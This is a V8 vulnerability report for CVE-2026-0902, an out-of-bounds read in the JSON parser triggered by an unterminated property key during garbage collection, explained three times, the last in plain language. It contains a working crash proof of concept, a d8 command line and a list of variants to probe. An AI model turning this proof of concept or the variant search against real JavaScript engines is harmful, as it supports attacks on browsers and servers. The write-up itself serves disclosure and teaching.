Inappropriate implementation in V8 (CVE-2026-0902)
An out-of-bounds read occurs in V8's JSON parser when parsing an incomplete object property name, because a garbage collection triggered during error reporting shrinks the descriptor array while the loop index is not updated. An attacker could cause a crash or potentially read out-of-bounds memory by supplying crafted JSON to JSON.parse.
- Fix shipped in 29 days
VULNERABILITY DETAILS
This is an issue similar to issues/423459708, and the previous fix was incomplete. The problem also occurs in ParseJsonObjectProperties(), which is a method used to parse the keys and values of all fields in an object.
ParseJsonObjectProperties() has three implementation paths: kJsonSlow, kJsonFast, and kJsonUnknown. If an object of a certain Map is being serialized for the first time, it will enter the kJsonUnknown path.
template <typename Char>
template <DescriptorArray::FastIterableState fast_iterable_state>
bool JsonParser<Char>::ParseJsonObjectProperties(
JsonContinuation* cont, MessageTemplate first_token_msg,
Handle<DescriptorArray> descriptors) {
using FastIterableState = DescriptorArray::FastIterableState;
if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
...
} else {
InternalIndex idx{0};
do {
EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
bool key_match;
if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
...
} else { // Unknown
// Parse a string from json as the field name.
JsonString key = ScanJsonPropertyKey(cont);
...
Tagged<Name> property_name = descriptors->GetKey(idx);
bool is_slow = key.has_escape();
// Check that the property is enumerable and located in field.
PropertyDetails details = descriptors->GetDetails(idx);
if (V8_UNLIKELY(details.IsDontEnum() ||
details.location() != PropertyLocation::kField)) {
is_slow = true;
}
// Symbol property keys are slow.
if (V8_UNLIKELY(IsSymbol(property_name))) {
is_slow = true;
}
// Check if the field name in the JSON matches the property name in the descriptor array.
key_match = false;
if (V8_LIKELY(!is_slow)) {
DisallowGarbageCollection no_gc;
// Property key is known to be fast so far, so it is guaranteed to
// be a string.
Tagged<String> expected_key = Cast<String>(property_name);
Tagged<Map> key_map = expected_key->map();
if (InstanceTypeChecker::IsTwoByteString(key_map)) {
// Two-byte keys are slow.
is_slow = true;
} else {
const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc);
const uint32_t key_length = expected_key->length();
key_match = FastKeyMatch(expected_chars, key_length, key);
}
}
if (V8_UNLIKELY(is_slow)) {
descriptors->set_fast_iterable(FastIterableState::kJsonSlow);
}
if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;
if (V8_UNLIKELY(is_slow || !key_match)) {
...
}
++idx;
}
} while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());
...
}
return true;
}
The cause of the previous issue (issues/423459708) was:
- Before entering the do-while loop, the function pre-saved
descriptors->number_of_descriptors()into a variabledescriptors_end. - When calling
ParseJsonPropertyValue()to parse a field value, memory is allocated, which triggers a GC and causes the descriptors array to shrink. - Since
idx < descriptors_end, the loop continues, leading to an OOB access when executingdescriptors->GetDetails(idx).
This issue is similar. ScanJsonPropertyKey() is responsible for parsing a string from the JSON. However, when processing "B, because it is not a complete string, it enters ReportUnexpectedToken() to generate an error message and throw an exception.
Note: GC is allowed when executing ReportUnexpectedToken(), so a GC can be triggered during the error message generation process, causing the descriptors to shrink.
template <typename Char>
JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization) {
DisallowGarbageCollection no_gc;
...
while (true) {
...
if (V8_UNLIKELY(is_at_end())) {
AllowGarbageCollection allow_before_exception;
ReportUnexpectedToken(JsonToken::ILLEGAL,
MessageTemplate::kJsonParseUnterminatedString);
break;
}
...
}
return JsonString();
}
Therefore, during the execution of the PoC, the ParseJsonArray() execution process is as follows:
First, the object corresponding to {"A": 0} is parsed, and MapA is obtained as feedback. Note: feedback->descriptors has two entries.
Then, ParseJsonValueRecursive(feedback) is called to parse the subsequent object, which will then call ParseJsonObjectProperties() to parse the two fields in {"A": 0,"B.
- After parsing the first field
"A": 0, the do-while loop check is performed:idx=1, descriptors->number_of_descriptors()=2, so the loop continues. - When parsing the second field "B:
ScanJsonPropertyKey()is called to parse a string, which in turn callsScanJsonString().- Since
"Bis not a complete string object,ReportUnexpectedToken()is called to report an error. - During the error reporting, memory is allocated, triggering a GC, which causes the
descriptorsto shrink. - An empty string
JsonString()is returned.
- Since
- The do-while loop does not handle the error from
ScanJsonString()and continues to executedescriptors->GetKey(idx). At this point, descriptors has only one entry, whileidx=1, leading to an out-of-bounds access.
I believe the root cause is the incomplete handling of ScanJsonPropertyKey() failure. If ScanJsonPropertyKey() returns an empty string, the loop should stop immediately.
The problematic code was introduced in commit 5fdab0114d1211e11bce1c74b40fc5e57b4942e6, which attempted to fix issues/423459708 but was unsuccessful.
REPRODUCTION CASE
poc.js:
// Incomplete JSON, JSON.parse() will throw an exception when handling `"B`
const jsonStr = `
[
{
"A": 0
},
{
"A": 0,
"B
`;
// prepare map transition: MapA --add-property(B)--> MapB
// MapA and MapB shared same descriptors
let o1 = {A: 0}; // own 1 entry
let o2 = {A: 0}; // own 2 entry
o2.B = 1;
// %DebugPrint(o1);
// clear reference, no objects use MapB,
// so only one entry in MapA->descriptors is actually used, and it will shrink during GC.
o2 = null;
// trigger GC to shrink descriptors array in `ReportUnexpectedToken()`
%SetAllocationTimeout(-1, 5);
// trigger crash
try {
JSON.parse(jsonStr);
} catch(e) {
}
V8 must be built with a debug configuration, Execute v8 as follows:
./d8 \
--allow-natives-syntax \
--predictable \
--predictable-gc-schedule \
./poc.js
This will result in the following crash:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 231
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#
CREDIT INFORMATION
Reporter credit: [303f06e3]
Context
This is a V8 bug in Chrome's JavaScript engine, reported through the Chrome VRP and fixed as CVE-2026-0902, an "inappropriate implementation" issue in V8. The affected code is the JSON parser, specifically the fast path that V8 uses when it recognises that an object being parsed has the same shape (the same Map) as an object it has already parsed. That optimisation lets the parser walk the object's descriptor array directly instead of doing a generic property lookup for every key.
The report is a follow-up to an earlier bug, issues/423459708. The fix for that earlier issue was incomplete, and the same class of problem reappears in ParseJsonObjectProperties(), the method that parses the keys and values of every field in an object.
Setup
The researcher built V8 in a debug configuration and ran the proof of concept with d8, V8's standalone shell, using native syntax and a deterministic GC schedule:
./d8 \
--allow-natives-syntax \
--predictable \
--predictable-gc-schedule \
./poc.js
--allow-natives-syntax is needed because the PoC calls the %SetAllocationTimeout intrinsic. --predictable and --predictable-gc-schedule make garbage collection happen on a reproducible schedule, which matters because the whole bug depends on a GC running at a specific moment. A release build will not show the failure: the crash is a debug check, so a debug build is required to observe it.
Finding it
The starting point is the structure of ParseJsonObjectProperties(). It has three implementation paths, selected by the fast_iterable_state template parameter: kJsonSlow, kJsonFast and kJsonUnknown. When an object with a particular Map is serialised for the first time, the parser enters the kJsonUnknown path, which is the one that contains the bug.
template <typename Char>
template <DescriptorArray::FastIterableState fast_iterable_state>
bool JsonParser<Char>::ParseJsonObjectProperties(
JsonContinuation* cont, MessageTemplate first_token_msg,
Handle<DescriptorArray> descriptors) {
using FastIterableState = DescriptorArray::FastIterableState;
if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
...
} else {
InternalIndex idx{0};
do {
EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
bool key_match;
if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
...
} else { // Unknown
// Parse a string from json as the field name.
JsonString key = ScanJsonPropertyKey(cont);
...
Tagged<Name> property_name = descriptors->GetKey(idx);
bool is_slow = key.has_escape();
// Check that the property is enumerable and located in field.
PropertyDetails details = descriptors->GetDetails(idx);
if (V8_UNLIKELY(details.IsDontEnum() ||
details.location() != PropertyLocation::kField)) {
is_slow = true;
}
// Symbol property keys are slow.
if (V8_UNLIKELY(IsSymbol(property_name))) {
is_slow = true;
}
// Check if the field name in the JSON matches the property name in the descriptor array.
key_match = false;
if (V8_LIKELY(!is_slow)) {
DisallowGarbageCollection no_gc;
// Property key is known to be fast so far, so it is guaranteed to
// be a string.
Tagged<String> expected_key = Cast<String>(property_name);
Tagged<Map> key_map = expected_key->map();
if (InstanceTypeChecker::IsTwoByteString(key_map)) {
// Two-byte keys are slow.
is_slow = true;
} else {
const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc);
const uint32_t key_length = expected_key->length();
key_match = FastKeyMatch(expected_chars, key_length, key);
}
}
if (V8_UNLIKELY(is_slow)) {
descriptors->set_fast_iterable(FastIterableState::kJsonSlow);
}
if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;
if (V8_UNLIKELY(is_slow || !key_match)) {
...
}
++idx;
}
} while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());
...
}
return true;
}
The earlier bug worked like this: before entering the do-while loop, the function saved descriptors->number_of_descriptors() into a variable descriptors_end. Calling ParseJsonPropertyValue() to parse a field value allocates memory, which can trigger a GC and shrink the descriptors array. Because the loop condition still compared idx < descriptors_end, the loop kept going and descriptors->GetDetails(idx) read out of bounds.
The new issue is similar but the trigger sits in a different call. ScanJsonPropertyKey() parses a string from the JSON. When it processes "B, an unterminated string, it calls ReportUnexpectedToken() to build an error message and throw an exception. GC is allowed while ReportUnexpectedToken() runs, so the error message generation can trigger a collection that shrinks the descriptors array.
template <typename Char>
JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization) {
DisallowGarbageCollection no_gc;
...
while (true) {
...
if (V8_UNLIKELY(is_at_end())) {
AllowGarbageCollection allow_before_exception;
ReportUnexpectedToken(JsonToken::ILLEGAL,
MessageTemplate::kJsonParseUnterminatedString);
break;
}
...
}
return JsonString();
}
Note the AllowGarbageCollection allow_before_exception; scope: GC is allowed while the error is reported.
Exploitation
Step 1: prepare the JSON input
The PoC feeds JSON.parse() an array whose second element is an object with an unterminated key. The comment in the PoC states that JSON.parse() will throw when handling "B.
// Incomplete JSON, JSON.parse() will throw an exception when handling `"B
const jsonStr = `
[
{
"A": 0
},
{
"A": 0,
"B
`;
Step 2: create the map transition and drop the second map
Two objects are created with the same shape, and a property is added to the second one so that a map transition from MapA to MapB exists. Both maps share the same descriptors. The second object is then set to null so that no object uses MapB any more.
// prepare map transition: MapA --add-property(B)--> MapB
// MapA and MapB shared same descriptors
let o1 = {A: 0}; // own 1 entry
let o2 = {A: 0}; // own 2 entry
o2.B = 1;
// %DebugPrint(o1);
// clear reference, no objects use MapB,
// so only one entry in MapA->descriptors is actually used, and it will shrink during GC.
o2 = null;
The consequence, as the comment explains, is that only one entry in MapA's descriptors is actually in use, so the array can shrink during a GC.
Step 3: arm the allocation timeout
The PoC asks V8 to trigger a GC after a small number of allocations, so that the collection lands inside the error-reporting path.
// trigger GC to shrink descriptors array in `ReportUnexpectedToken()`
%SetAllocationTimeout(-1, 5);
Step 4: parse the malformed JSON
The parse is wrapped in a try/catch because the unterminated string is expected to raise an exception.
// trigger crash
try {
JSON.parse(jsonStr);
} catch(e) {
}
What happens inside the parser
During the PoC, ParseJsonArray() runs as follows. First the object {"A": 0} is parsed and MapA is obtained as feedback; feedback->descriptors has two entries. Then ParseJsonValueRecursive(feedback) is called for the following object, which calls ParseJsonObjectProperties() to parse the two fields in {"A": 0,"B.
- After the first field
"A": 0is parsed, the do-while check runs:idx=1, descriptors->number_of_descriptors()=2, so the loop continues. - While parsing the second field
"B:ScanJsonPropertyKey()is called to parse a string, which callsScanJsonString().- Because
"Bis not a complete string,ReportUnexpectedToken()is called to report an error. - During error reporting, memory is allocated, a GC is triggered, and the
descriptorsarray shrinks. - An empty
JsonString()is returned.
- Because
- The do-while loop does not handle the failure from
ScanJsonString()and continues todescriptors->GetKey(idx). The descriptors array now has only one entry whileidx=1, so the access is out of bounds.
With the debug build and the command line above, the run ends in a fatal error:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 231
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#
Root cause
The root cause, in the researcher's words, is the incomplete handling of a ScanJsonPropertyKey() failure. When the key scan fails, it returns an empty string, but the loop does not check for that and carries on to index into the descriptor array. The descriptor array can have been shrunk by a GC that ran inside ReportUnexpectedToken(), so the index is no longer valid.
The problematic code was introduced in commit [redacted], which was the attempt to fix issues/423459708 and did not succeed. The earlier fix was incomplete, and the same out-of-bounds pattern survived in a different call.
Impact
The platform records this as an inappropriate implementation in V8 with medium severity. The observable effect in the PoC is a debug check failure and a crash of the engine. The report does not describe a path to memory corruption or code execution in release builds, and it does not state which contexts (renderer, browser process) are affected beyond the V8 parser itself.
Fix
The report does not describe the patch that was applied. The researcher's own recommendation is that if ScanJsonPropertyKey() returns an empty string, the loop should stop immediately, rather than continuing to use idx against a descriptor array that may have shrunk.
Variants to test
- Other paths that call
ScanJsonPropertyKey()orScanJsonString()and then use an index intodescriptorswithout re-checking the array length. A positive result is a debug check failure indescriptor-array-inl.hor an out-of-bounds read under a forced GC schedule. - The
kJsonFastpath ofParseJsonObjectProperties(). A positive result is the same class of failure when the fast path is taken instead ofkJsonUnknown. - Other error-reporting calls inside the parser that run with GC allowed, such as unterminated strings in arrays or values. A positive result is a collection landing between the length check and the indexed access.
- Re-running the same PoC with different
%SetAllocationTimeoutvalues to find the window where the GC lands insideReportUnexpectedToken(). A positive result is a crash at the same debug check with a different allocation count. - Any other optimisation that caches a descriptor array length across a call that can allocate, in the same way the earlier
descriptors_endfix did. A positive result is an index that exceeds the post-GCnumber_of_descriptors().
What happened, in plain words
Chrome runs JavaScript, the programming language that makes most web pages interactive. The part of Chrome that actually executes JavaScript is called V8. V8 is also used outside the browser, for example by Node.js, a program that lets people run JavaScript on a server.
One of the things V8 does is turn text into JavaScript objects. A very common format for that text is JSON, which stands for JavaScript Object Notation. JSON looks like this: {"A": 0}. It is a way of writing down data as pairs of a name (a "key") and a value, so that a program can read it back later. The function that does the reading is JSON.parse(). You give it a piece of text, and it gives you back an object.
Because JSON.parse() is used on so much data, V8 tries to make it fast. One trick is to remember the "shape" of an object it has already seen. If a later object has the same shape, V8 can skip some of the slow checking and walk through a pre-made list of the object's fields instead. That list is called a descriptor array. Think of it as an index card listing which fields an object has and in what order.
This report is about a bug in that fast path. When the JSON text is broken, for example because a quoted name is never closed, V8 has to stop and report an error. While it is building that error message, it is allowed to tidy up memory, an operation called garbage collection (GC). That tidying can shrink the index card. The parser then carries on as if the card were still the same size, reads past the end of it, and the engine crashes.
The researcher reported this through the Chrome VRP, Google's programme that pays people for finding security bugs in Chrome. It was tracked as CVE-2026-0902, an "inappropriate implementation" issue in V8, rated medium severity, with a bounty of 4000.00 USD. The credit goes to 303f06e3, and the report was disclosed on 2026-01-13.
This is a follow-up to an earlier bug, issues/423459708. The fix for that earlier bug was incomplete, and the same kind of problem came back in a different place.
The code involved
The affected function is ParseJsonObjectProperties(). Its job is to read the keys and values of every field in a JSON object. It has three ways of working, chosen by a setting called fast_iterable_state: kJsonSlow, kJsonFast and kJsonUnknown. When an object with a particular shape (a Map) is being parsed for the first time, the parser takes the kJsonUnknown path, and that is where the bug lives.
template <typename Char>
template <DescriptorArray::FastIterableState fast_iterable_state>
bool JsonParser<Char>::ParseJsonObjectProperties(
JsonContinuation* cont, MessageTemplate first_token_msg,
Handle<DescriptorArray> descriptors) {
using FastIterableState = DescriptorArray::FastIterableState;
if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
...
} else {
InternalIndex idx{0};
do {
EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
bool key_match;
if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
...
} else { // Unknown
// Parse a string from json as the field name.
JsonString key = ScanJsonPropertyKey(cont);
...
Tagged<Name> property_name = descriptors->GetKey(idx);
bool is_slow = key.has_escape();
// Check that the property is enumerable and located in field.
PropertyDetails details = descriptors->GetDetails(idx);
if (V8_UNLIKELY(details.IsDontEnum() ||
details.location() != PropertyLocation::kField)) {
is_slow = true;
}
// Symbol property keys are slow.
if (V8_UNLIKELY(IsSymbol(property_name))) {
is_slow = true;
}
// Check if the field name in the JSON matches the property name in the descriptor array.
key_match = false;
if (V8_LIKELY(!is_slow)) {
DisallowGarbageCollection no_gc;
// Property key is known to be fast so far, so it is guaranteed to
// be a string.
Tagged<String> expected_key = Cast<String>(property_name);
Tagged<Map> key_map = expected_key->map();
if (InstanceTypeChecker::IsTwoByteString(key_map)) {
// Two-byte keys are slow.
is_slow = true;
} else {
const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc);
const uint32_t key_length = expected_key->length();
key_match = FastKeyMatch(expected_chars, key_length, key);
}
}
if (V8_UNLIKELY(is_slow)) {
descriptors->set_fast_iterable(FastIterableState::kJsonSlow);
}
if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;
if (V8_UNLIKELY(is_slow || !key_match)) {
...
}
++idx;
}
} while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());
...
}
return true;
}
Line by line, in plain words:
template <typename Char>and the line below it: this is C++ template syntax. It lets the same function work for different character types and for different modes, chosen when the program is compiled.bool JsonParser<Char>::ParseJsonObjectProperties(...): this is the function itself. It returnstrueif parsing succeeded. It receives aJsonContinuation(bookkeeping for where the parser is), aMessageTemplate(a canned error message to use if the next token is wrong) and aHandle<DescriptorArray>(the index card of field names and details).if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) { ... } else {: if the slow mode was chosen, do the slow thing. Otherwise, take the fast path below.InternalIndex idx{0};: start counting fields from zero.idxis the position in the descriptor array that the parser is currently looking at.do {: begin a loop that runs at least once.EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, ...): check that the next thing in the JSON text is a quoted string (a field name). If not, stop with an error.first_token_msg = ...: update the error message to use from now on, so later failures say "expected a double-quoted property name".bool key_match;: a flag that will record whether the key in the JSON matches the key in the descriptor array.if constexpr (fast_iterable_state == FastIterableState::kJsonFast) { ... } else { // Unknown: if the fast mode was chosen, do the fast thing. Otherwise, this is thekJsonUnknownpath, the one with the bug.JsonString key = ScanJsonPropertyKey(cont);: read the field name from the JSON text. This is the call that can fail on broken input.Tagged<Name> property_name = descriptors->GetKey(idx);: look up the field name at positionidxin the descriptor array. This is the read that goes out of bounds when the array has shrunk.bool is_slow = key.has_escape();: if the key contained escape sequences (like\n), mark it as slow.PropertyDetails details = descriptors->GetDetails(idx);: read the details of the field at positionidx.if (V8_UNLIKELY(details.IsDontEnum() || details.location() != PropertyLocation::kField)): if the field is not enumerable (not meant to show up when listing fields) or is not stored as a plain field, mark it as slow.if (V8_UNLIKELY(IsSymbol(property_name))): if the field name is a symbol (a special kind of identifier), mark it as slow.key_match = false;: start by assuming the keys do not match.if (V8_LIKELY(!is_slow)) {: if the key is still considered fast, compare it character by character with the expected key.DisallowGarbageCollection no_gc;: for the duration of this block, forbid garbage collection, so the data cannot move or shrink underneath the comparison.Tagged<String> expected_key = Cast<String>(property_name);: treat the field name as a string.Tagged<Map> key_map = expected_key->map();: get the internal shape of that string.if (InstanceTypeChecker::IsTwoByteString(key_map)): if the string uses two bytes per character, mark it as slow.const uint8_t* expected_chars = GetFastKeyChars(...): get a pointer to the raw characters of the expected key.const uint32_t key_length = expected_key->length();: get its length.key_match = FastKeyMatch(expected_chars, key_length, key);: compare the expected key with the key read from the JSON.if (V8_UNLIKELY(is_slow)) { descriptors->set_fast_iterable(FastIterableState::kJsonSlow); }: if anything turned out to be slow, remember that for next time.if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;: read the value that follows the key. If that fails, stop.if (V8_UNLIKELY(is_slow || !key_match)) { ... }: if the key was slow or did not match, do some fallback work (not shown).++idx;: move to the next field.} while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());: keep looping while there are more fields in the descriptor array and the next character in the JSON is a comma.return true;: parsing succeeded.
The earlier bug, and why this one is similar
The earlier bug, issues/423459708, worked like this. Before entering the loop, the function saved the number of descriptors into a variable called descriptors_end. Then, while parsing a field value, ParseJsonPropertyValue() allocated memory. That allocation could trigger a garbage collection, and the collection could shrink the descriptor array. But the loop condition still compared idx < descriptors_end, using the old, stale number. So the loop kept going and descriptors->GetDetails(idx) read past the end of the now-smaller array.
The new bug is the same idea, but the trigger is in a different call. ScanJsonPropertyKey() reads a field name from the JSON. When it meets "B, an unterminated string, it calls ReportUnexpectedToken() to build an error message and throw an exception. Garbage collection is allowed while ReportUnexpectedToken() runs, so building the error message can trigger a collection that shrinks the descriptor array.
template <typename Char>
JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization) {
DisallowGarbageCollection no_gc;
...
while (true) {
...
if (V8_UNLIKELY(is_at_end())) {
AllowGarbageCollection allow_before_exception;
ReportUnexpectedToken(JsonToken::ILLEGAL,
MessageTemplate::kJsonParseUnterminatedString);
break;
}
...
}
return JsonString();
}
Line by line:
template <typename Char>: again, this function works for different character types.JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization): this function reads a string from the JSON text.DisallowGarbageCollection no_gc;: by default, forbid garbage collection while scanning.while (true) {: loop until something breaks out.if (V8_UNLIKELY(is_at_end())) {: if the text has run out before the closing quote, this is an unterminated string.AllowGarbageCollection allow_before_exception;: deliberately re-allow garbage collection for the rest of this block. This is the window the bug needs.ReportUnexpectedToken(JsonToken::ILLEGAL, MessageTemplate::kJsonParseUnterminatedString);: build and throw the error saying the string was not terminated.break;: leave the loop.return JsonString();: return an empty string. The caller is supposed to notice that this means failure.
Setting up the test
The researcher built V8 in a debug configuration and ran the proof of concept with d8, V8's standalone shell. A shell here means a small program that runs JavaScript without a browser around it, useful for testing the engine directly.
./d8 \
--allow-natives-syntax \
--predictable \
--predictable-gc-schedule \
./poc.js
Line by line:
./d8: run thed8program from the current directory.\: a line continuation, so the command carries on to the next line.--allow-natives-syntax: allow special syntax that starts with%, used by V8's own tests. The PoC needs it for%SetAllocationTimeout.--predictable: a flag passed to d8 for the reproduction.--predictable-gc-schedule: make garbage collection happen on a reproducible schedule. This matters because the whole bug depends on a collection running at a specific moment../poc.js: the file to run.
A release build will not show the failure. The crash is a debug check, an internal consistency test that only debug builds perform, so a debug build is required to see it.
The proof of concept, step by step
Step 1: prepare the JSON input
The PoC gives JSON.parse() an array whose second element is an object with an unterminated key. The comment says JSON.parse() will throw when it handles "B.
// Incomplete JSON, JSON.parse() will throw an exception when handling `"B
const jsonStr = `
[
{
"A": 0
},
{
"A": 0,
"B
`;
Line by line:
// Incomplete JSON, ...: a comment, ignored by the program, explaining what the text is.const jsonStr =: declare a constant calledjsonStrand assign it the text that follows.- The backtick starts a template literal, a way of writing a multi-line string in JavaScript.
[: the start of a JSON array.{ "A": 0 }: the first element, an object with one field namedAand value0.{ "A": 0, "B: the second element, an object with fieldAand then a field nameBthat is never closed with a quote. This is the broken part.- The closing backtick ends the string.
Step 2: create the map transition and drop the second map
Two objects are created with the same shape, and a property is added to the second one. That creates a map transition from MapA to MapB: V8 records that adding field B to an object of shape MapA produces an object of shape MapB. Both shapes share the same descriptor array. The second object is then set to null so that nothing uses MapB any more.
// prepare map transition: MapA --add-property(B)--> MapB
// MapA and MapB shared same descriptors
let o1 = {A: 0}; // own 1 entry
let o2 = {A: 0}; // own 2 entry
o2.B = 1;
// %DebugPrint(o1);
// clear reference, no objects use MapB,
// so only one entry in MapA->descriptors is actually used, and it will shrink during GC.
o2 = null;
Line by line:
// prepare map transition: ...: a comment describing the goal.// MapA and MapB shared same descriptors: a comment noting that both shapes use the same descriptor array.let o1 = {A: 0};: create an object with one field,A. Its shape isMapA.// own 1 entry: a comment saying this object has one entry.let o2 = {A: 0};: create a second object with the same shape.// own 2 entry: a comment in the PoC.o2.B = 1;: add fieldBtoo2. This moveso2to shapeMapB, and records the transition fromMapAtoMapB.// %DebugPrint(o1);: a commented-out debugging call that would print details abouto1.// clear reference, ...: a comment explaining the next line.o2 = null;: drop the only reference to the object with shapeMapB. Now no object usesMapB, so only one entry inMapA's descriptor array is actually in use, and the array can shrink during a garbage collection.
Step 3: arm the allocation timeout
The PoC asks V8 to trigger a garbage collection after a small number of allocations, so that the collection lands inside the error-reporting path.
// trigger GC to shrink descriptors array in `ReportUnexpectedToken()`
%SetAllocationTimeout(-1, 5);
Line by line:
// trigger GC ...: a comment explaining the intent.%SetAllocationTimeout(-1, 5);: a V8 internal function, available because of--allow-natives-syntax.%SetAllocationTimeout(-1, 5);: a V8 internal function, available because of--allow-natives-syntax, used to make the collection happen at the chosen moment. This is how the researcher makes the collection happen at the chosen moment.
Step 4: parse the malformed JSON
The parse is wrapped in a try/catch because the unterminated string is expected to raise an exception.
// trigger crash
try {
JSON.parse(jsonStr);
} catch(e) {
}
Line by line:
// trigger crash: a comment.try {: start a block where an exception is expected.JSON.parse(jsonStr);: parse the broken JSON text.} catch(e) {: if an exception is thrown, catch it here.}: end the catch block. It does nothing, because the exception is expected and the real goal is the crash that happens before it.
What happens inside the parser
During the PoC, ParseJsonArray() runs as follows. First the object {"A": 0} is parsed and MapA is obtained as feedback; feedback->descriptors has two entries. Then ParseJsonValueRecursive(feedback) is called for the following object, which calls ParseJsonObjectProperties() to parse the two fields in {"A": 0,"B.
- After the first field
"A": 0is parsed, the do-while check runs:idx=1, descriptors->number_of_descriptors()=2, so the loop continues. - While parsing the second field
"B:ScanJsonPropertyKey()is called to parse a string, which callsScanJsonString().- Because
"Bis not a complete string,ReportUnexpectedToken()is called to report an error. - During error reporting, memory is allocated, a GC is triggered, and the
descriptorsarray shrinks. - An empty
JsonString()is returned.
- Because
- The do-while loop does not handle the failure from
ScanJsonString()and continues todescriptors->GetKey(idx). The descriptors array now has only one entry whileidx=1, so the access is out of bounds.
With the debug build and the command line above, the run ends in a fatal error:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 231
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#
Line by line:
#: a separator line printed by V8.# Fatal error in ../../src/objects/descriptor-array-inl.h, line 231: the engine stopped in a file that handles descriptor arrays, at line 231.# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).: the internal check expected the requested position to be strictly less than the number of descriptors. It got 1 versus 1, meaning the position is equal to the size, which is out of bounds.#: another separator.
Root cause
The root cause, in the researcher's words, is the incomplete handling of a ScanJsonPropertyKey() failure. When the key scan fails, it returns an empty string, but the loop does not check for that and carries on to index into the descriptor array. The descriptor array may have been shrunk by a garbage collection that ran inside ReportUnexpectedToken(), so the index is no longer valid.
The problematic code was introduced in commit [redacted], which was the attempt to fix issues/423459708 and did not succeed. The earlier fix was incomplete, so the same out-of-bounds pattern survived in a different call.
Impact
The platform records this as an inappropriate implementation in V8 with medium severity. The observable effect in the PoC is a debug check failure and a crash of the engine. The report does not describe a path to memory corruption or code execution in release builds, and it does not state which contexts (renderer, browser process) are affected beyond the V8 parser itself.
Fix
The report does not describe the patch that was applied. The researcher's own recommendation is that if ScanJsonPropertyKey() returns an empty string, the loop should stop immediately, rather than continuing to use idx against a descriptor array that may have shrunk.
Variants to test
- Other paths that call
ScanJsonPropertyKey()orScanJsonString()and then use an index intodescriptorswithout re-checking the array length. A positive result is a debug check failure indescriptor-array-inl.hor an out-of-bounds read under a forced GC schedule. - The
kJsonFastpath ofParseJsonObjectProperties(), which the report leaves out of scope. A positive result is the same class of failure when the fast path is taken instead ofkJsonUnknown. - Other error-reporting calls inside the parser that run with GC allowed, such as unterminated strings in arrays or values. A positive result is a collection landing between the length check and the indexed access.
- Re-running the same PoC with different
%SetAllocationTimeoutvalues to find the window where the GC lands insideReportUnexpectedToken(). A positive result is a crash at the same debug check with a different allocation count. - Any other optimisation that caches a descriptor array length across a call that can allocate, in the same way the earlier
descriptors_endfix did. A positive result is an index that exceeds the post-GCnumber_of_descriptors().
Glossary
- API: a defined way for one program to ask another program to do something, like a menu of allowed requests.
- Bounty: money paid by a company to someone who reports a valid security bug.
- C++: a programming language used to build engines like V8.
- Chrome VRP: Chrome Vulnerability Reward Program, Google's scheme that pays for security bugs in Chrome.
- Commit: a saved change to a code repository, identified by a long hash such as
[redacted]. - CVE: Common Vulnerabilities and Exposures, a public identifier for a known security flaw, here CVE-2026-0902.
- d8: V8's standalone shell, a small program that runs JavaScript without a browser.
- Debug build: a version of a program compiled with extra internal checks that help find bugs.
- Debug check: an internal consistency test that only debug builds perform, which stops the program if something is wrong.
- Descriptor array: V8's internal list of an object's fields and their details, like an index card for the object's shape.
- Escape sequence: characters in a string that stand for something else, such as
\nfor a new line. - Exception: a signal that something went wrong, which a program can catch and handle.
- Feedback: information V8 remembers from earlier parsing, used to speed up later parsing of the same shape.
- Garbage collection (GC): automatic tidying of memory that is no longer used, which can move or shrink data.
- Inappropriate implementation: a category of bug meaning the code does not behave as it should, rather than a specific memory flaw.
- Intrinsic: a built-in function provided by the engine itself, such as
%SetAllocationTimeout. - JSON: JavaScript Object Notation, a text format for data made of names and values.
- JSON.parse(): the JavaScript function that turns JSON text into objects.
- kJsonFast / kJsonSlow / kJsonUnknown: the three modes of the JSON object parser, chosen by how familiar the object's shape is.
- Map: V8's internal description of an object's shape, meaning which fields it has and in what order.
- Map transition: the record that adding a field to an object of one shape produces an object of another shape.
- Medium severity: a rating meaning the bug is real but not the most serious kind.
- Memory corruption: a bug where a program reads or writes memory it should not, which can sometimes be abused by attackers.
- Node.js: a program that runs JavaScript outside the browser, also built on V8.
- Out-of-bounds access: reading or writing past the end of a data structure, which is undefined behaviour.
- Proof of concept (PoC): a small program that demonstrates a bug.
- Release build: a normal version of a program compiled for speed, without the extra debug checks.
